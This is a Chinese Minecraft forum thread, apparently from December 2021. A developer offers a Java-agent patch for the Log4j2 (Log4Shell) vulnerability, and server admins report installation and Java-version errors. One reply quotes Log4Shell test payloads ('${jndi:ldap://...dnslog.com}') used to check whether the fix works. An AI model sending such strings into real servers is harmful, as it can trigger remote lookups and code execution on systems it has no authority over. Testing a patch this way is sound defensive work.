本帖最后由 VeroFess 于 2021-12-13 10:57 编辑 
Log4j2 Fix
请注意,虽然这种方式修复可以彻底解决问题,但是依然推荐更新核心到新版!!
下载中的编译版本已经更新到1.8,请放心使用
本插件在大部分情况下与其他修复插件效果相同,您仅应当在以下情况下使用本插件:不确定jvm中究竟整出来多少个classloader,或者您是面板服的管理员想要做无入侵修复时。
使用该修复您需要一定的专业知识!如您无特殊需求请选择本站的其他修复工具!
不用解释太多,懂得都懂,和别人的修复不一样的地方就是这是非侵入的源码修复
本来说好周五更新,结果生病了,不好意思
服务端:
下载 Log4j2Fix.jar, 放到 启动脚本所在的 目录里 不是MODS或者Plugins目录!!!!,之后打开你的启动器/启动脚本
在Java 参数中/java.exe 之后, 填入/加上"-javaagent:Log4j2Fix.jar"
在Java 参数中/java.exe 之后, 填入/加上"-javaagent:Log4j2Fix.jar"
源代码:
https://github.com/VeroFess/Log4jFix
本插件所用所有代码均为原创,不存在借用/抄袭等行为
前排留名 先看一下
 本帖最后由 MiDeng 于 2021-12-10 12:00 编辑 
1.12.2 paperjava 1.8.0_311
启动脚本
java -javaagent:Log4j2Fix.jar -Xms256M -Xmx10G -Xss512K -jar paper-1618.jar
报错复制代码
1.12.2 paperjava 1.8.0_311
启动脚本
java -javaagent:Log4j2Fix.jar -Xms256M -Xmx10G -Xss512K -jar paper-1618.jar
报错
- Exception in thread "main" java.lang.UnsupportedClassVersionError: com/binklac/log4j2fix/Log4j2FixAgent has been compiled by a more recent version of the Java Runtime (class file version 55.0), this version of the Java Runtime only recognizes class file versions up to 52.0
 
-         at java.lang.ClassLoader.defineClass1(Native Method)
 
-         at java.lang.ClassLoader.defineClass(Unknown Source)
 
-         at java.security.SecureClassLoader.defineClass(Unknown Source)
 
-         at java.net.URLClassLoader.defineClass(Unknown Source)
 
-         at java.net.URLClassLoader.access$100(Unknown Source)
 
-         at java.net.URLClassLoader$1.run(Unknown Source)
 
-         at java.net.URLClassLoader$1.run(Unknown Source)
 
-         at java.security.AccessController.doPrivileged(Native Method)
 
-         at java.net.URLClassLoader.findClass(Unknown Source)
 
-         at java.lang.ClassLoader.loadClass(Unknown Source)
 
-         at sun.misc.Launcher$AppClassLoader.loadClass(Unknown Source)
 
-         at java.lang.ClassLoader.loadClass(Unknown Source)
 
-         at sun.instrument.InstrumentationImpl.loadClassAndStartAgent(Unknown Source)
 
-         at sun.instrument.InstrumentationImpl.loadClassAndCallPremain(Unknown Source)
 
- FATAL ERROR in native method: processing of -javaagent failed
MiDeng 发表于 2021-12-10 11:52
1.12.2 paperjava 1.8.0_311
启动脚本
java -javaagent:Log4j2Fix.jar -Xms256M -Xmx10G -Xss512K -jar pap ...
java版本过低/过高
LoserXM 发表于 2021-12-10 12:00
java版本过低/过高
好像1.12.2只兼容java8。。。
MiDeng 发表于 2021-12-10 11:52
1.12.2 paperjava 1.8.0_311
启动脚本
1.7用不了 我也是这样 java是阿里云的jdk8 302
怎么测试插件生没生效啊
好快,建议版主直接加精华(x
能使用java8构建一份嘛
坐等新版核心
feiyuyu 发表于 2021-12-10 12:07
1.7用不了 我也是这样 java是阿里云的jdk8 302
1.8以下不包括1.8版本 不受影响 应该
等我吃个饭再更新,写了一早上报告,人快饿没了
 本帖最后由 15113532158 于 2021-12-10 12:48 编辑 
抱歉啊,是我眼瞎,刚才急着,不小心打开了同一个插件,望楼主大大不要生气,求原谅awa
抱歉啊,是我眼瞎,刚才急着,不小心打开了同一个插件,望楼主大大不要生气,求原谅awa
15113532158 发表于 2021-12-10 12:34
盗国外的人的插件?
要不你看看com.binklac这个域名的所有人是谁?
大佬牛批,虽然咱已经用上catserver最新版了
feiyuyu 发表于 2021-12-10 12:07
1.7用不了 我也是这样 java是阿里云的jdk8 302
1.7不需要修复,不受漏洞影响
MiDeng 发表于 2021-12-10 11:52
1.12.2 paperjava 1.8.0_311
启动脚本
这个是Java版本问题,Mohist开服请用Java 11
pcl2启动器脚本在哪里
编译版本为 11,部分旧版本服务端可能不兼容。
希望提供源码或以 java 8 编译的版本,非常感谢。
希望提供源码或以 java 8 编译的版本,非常感谢。
Waiting for class4j classes to load.
Successfully found JndiLookup, ready to repair it ...
Unable to apply the patch, is there an error?var/mc/v1.16.5/cache/patched_1.16.5.jar
这应该是个报错吧
Successfully found JndiLookup, ready to repair it ...
Unable to apply the patch, is there an error?var/mc/v1.16.5/cache/patched_1.16.5.jar
这应该是个报错吧
howarks 发表于 2021-12-10 15:22
Waiting for class4j classes to load.
Successfully found JndiLookup, ready to repair it ...
Unable to ...
可在 Paper 1.15.2(Build 391) 复现
面板服怎么弄吗Th核心的
 本帖最后由 haha44444 于 2021-12-10 17:05 编辑 
问一下使用两个javaagent启动服务器的参数怎么写,因为我启动服务端也是用的一个javaagent,这又来了一个
qwq
没事了没事了我看错了我那个是javapach抱歉抱歉
问一下使用两个javaagent启动服务器的参数怎么写,因为我启动服务端也是用的一个javaagent,这又来了一个
qwq
没事了没事了我看错了我那个是javapach抱歉抱歉
希望赶紧修复这个bug
haha44444 发表于 2021-12-10 16:45
问一下使用两个javaagent启动服务器的参数怎么写,因为我启动服务端也是用的一个javaagent,这又来了一个
q ...
两个就加两个 -javaagent 参数(没有个数限制),JVM 会按顺序加载。
Java\jre1.8.0_311\bin\javaw.exe -javaagent:Log4j2Fix.jar" -Xms8191M -Xmx8191M -Djline.terminal=jline.UnsupportedTerminal -jar Thermosserver.jar
启动失败,请问下是为什么?
启动失败,请问下是为什么?
王者神坑小顾 发表于 2021-12-10 17:16
Java\jre1.8.0_311\bin\javaw.exe -javaagent:Log4j2Fix.jar" -Xms8191M -Xmx8191M -Djline.terminal=jline ...
版本是1.7.10
请问大佬怎么判断加成功了呢?服务器正常启动了,命令和文件也都加进去了,但是跟平常好像没啥区别
sag ${jndi:ldap://xxxxxxxxxxxxx.dnslog.com}
${jndi:ldap://xxxxxxxxxxxxx.dnslog.com}
${jndi:ldap://xxxx.dnslog.cn/exp}
${jndi:ldap://xxxx.dnslog.cn/exp}
1.7.10 U端 还是有这个问题 输入直接GG了
${jndi:ldap://xxxxxxxxxxxxx.dnslog.com}
${jndi:ldap://xxxx.dnslog.cn/exp}
${jndi:ldap://xxxx.dnslog.cn/exp}
1.7.10 U端 还是有这个问题 输入直接GG了
WonderBeta 发表于 2021-12-10 17:12
两个就加两个 -javaagent 参数(没有个数限制),JVM 会按顺序加载。
okk懂了谢谢
- Exception in thread "main" java.lang.UnsupportedClassVersionError: com/binklac/log4j2fix/Log4j2FixAgent has been compiled by a more recent version of the Java Runtime (class file version 55.0), this version of the Java Runtime only recognizes class file versions up to 52.0
 
-         at java.lang.ClassLoader.defineClass1(Native Method)
 
-         at java.lang.ClassLoader.defineClass(Unknown Source)
 
-         at java.security.SecureClassLoader.defineClass(Unknown Source)
 
-         at java.net.URLClassLoader.defineClass(Unknown Source)
 
-         at java.net.URLClassLoader.access$100(Unknown Source)
 
-         at java.net.URLClassLoader$1.run(Unknown Source)
 
-         at java.net.URLClassLoader$1.run(Unknown Source)
 
-         at java.security.AccessController.doPrivileged(Native Method)
 
-         at java.net.URLClassLoader.findClass(Unknown Source)
 
-         at java.lang.ClassLoader.loadClass(Unknown Source)
 
-         at sun.misc.Launcher$AppClassLoader.loadClass(Unknown Source)
 
-         at java.lang.ClassLoader.loadClass(Unknown Source)
 
-         at sun.instrument.InstrumentationImpl.loadClassAndStartAgent(Unknown Source)
 
-         at sun.instrument.InstrumentationImpl.loadClassAndCallPremain(Unknown Source)
 
- FATAL ERROR in native method: processing of -javaagent failed
测试时报错
怎么使用
出现了这一行:Unable to apply the patch, is there an error?root/cache/patched_1.17.1.jar,不知道啥情况
不过用给出的测试代码测试下来似乎是没问题了,都只是单纯把代码打印了一遍而不会反馈一大堆at
不过用给出的测试代码测试下来似乎是没问题了,都只是单纯把代码打印了一遍而不会反馈一大堆at
- Error occurred during initialization of VM
 
- agent library failed to init: instrument
 
- Error opening zip file or JAR manifest missing : Log4j2Fix.jar
对了,我想咨询一下,是只要执行一次java -javaagent:Log4j2Fix.jar -Xmx4G -Xms1G -jar paper-1.17.1-399.jar nogui,之后还是执行java  -Xmx4G -Xms1G -jar paper-1.17.1-399.jar nogui就好了,还是以后都要执行java -javaagent:Log4j2Fix.jar -Xmx4G -Xms1G -jar paper-1.17.1-399.jar nogui呢?
谢谢!
谢谢!
1.7.10u端可不可以用,已经测试过U端有BUG了
低版本对Java11的兼容性不一定好,请使用Java 6 重新编译,或向社区提供源代码。
(为啥?因为最早出现这个问题的版本是13w39a,该版本使用Java 6编译)
(为啥?因为最早出现这个问题的版本是13w39a,该版本使用Java 6编译)
在java17环境下不起作用
报告一个问题,使用这个agent之后mythicmobs读取skill将会报无法找到的问题。
e_mirai 发表于 2021-12-12 21:35
报告一个问题,使用这个agent之后mythicmobs读取skill将会报无法找到的问题。
诸如此种嵌套写法。如果单写一条是没问题的。
- skill{s=subSkill} @self
lih厉害了~~
Successfully found JndiLookup, ready to repair it ...
Unable to apply the patch, is there an error?F:/cache/patched.jar
Unable to apply the patch, is there an error?F:/cache/patched.jar
兄弟 666 佩服死你了
BBS 有你更精彩
奥力給 发表于 2021-12-17 18:28
Successfully found JndiLookup, ready to repair it ...
Unable to apply the patch, is there an error?F ...
所以能用吗,报错之后
Jstzjgsc 发表于 2021-12-10 21:26
出现了这一行:Unable to apply the patch, is there an error?root/cache/patched_1.17.1.jar,不知道啥情 ...
兄弟所以你修好了吗
感谢维护社区健康
987312735 发表于 2021-12-22 10:25
兄弟所以你修好了吗
修好了已经。按照最新的指示做就行
谢谢,服务器有救了